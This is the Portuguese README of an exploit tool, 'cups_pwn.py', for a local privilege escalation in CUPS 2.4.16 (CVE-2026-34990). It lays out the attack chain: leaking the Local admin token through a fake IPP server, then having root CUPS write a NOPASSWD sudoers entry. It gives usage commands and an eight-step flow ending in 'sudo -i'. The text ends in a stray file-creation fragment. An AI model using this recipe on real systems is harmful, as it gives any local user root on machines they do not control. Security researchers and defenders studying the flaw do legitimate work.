
CUPS 2.4.16 Escalação de Privilégios Local via Vazamento de Token de Administrador Local e Escrita Arbitrária de Arquivo file:// (CVE-2026-34990)
O CUPS 2.4.16 contém uma vulnerabilidade de escalação de privilégios local (também registada como GHSA-c54j-2vqw-wpwp).
Socket com permissões de escrita globais — /run/cups/cups.sock tem permissões de escrita globais,
permitindo a qualquer utilizador local enviar pedidos IPP ao daemon do CUPS
(em execução como root).
Fuga de token local — CUPS-Create-Local-Printer pode ser abusado para
expor o token de autorização Local ao apontar device-uri para um
servidor IPP controlado pelo atacante.
Escrita arbitrária de ficheiros — Com o token exposto, um atacante pode criar
uma impressora com device-uri=file:///etc/sudoers.d/<user>, fazendo com que o CUPS
(como root) escreva conteúdo arbitrário em qualquer caminho no disco.
# Utilização básica
python3 cups_pwn.py --user lowpriv
# Caminho sudoers personalizado
python3 cups_pwn.py --user lowpriv --sudoers /etc/sudoers.d/custom
# Após o sucesso
sudo -i
🧠 Como Funciona
text
┌─────────────────────────────────────────────────────────────────┐
│ 1. Iniciar servidor IPP falso em 127.0.0.1:9189 │
│ 2. Enviar CUPS-Create-Local-Printer com device-uri=ipp://... │
│ 3. O CUPS liga-se ao nosso servidor falso → envia o token Local │
│ 4. Extrair o token │
│ 5. Criar impressora com device-uri=file:///etc/sudoers.d/... │
│ 6. Imprimir payload gzip com "user ALL=(ALL) NOPASSWD: ALL" │
│ 7. O CUPS escreve o payload como root │
│ 8. sudo -n id → root │
└─────────────────────────────────────────────────────────────────┘
🛡️ Aviso Legal
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins
educativos. Não a utilize contra sistemas que não lhe pertencem ou para os quais
não tem permissão explícita de teste. O autor não é responsável por qualquer uso
indevido ou dano causado por esta ferramenta.
📚 Referências
GHSA-c54j-2vqw-wpwp
CVE-2026-34990
Avisos de Segurança do CUPS
📄 Licença
MIT — consulte o ficheiro LICENSE.
text
### Ficheiro 3: `LICENSE`
```bash
nano LICENSE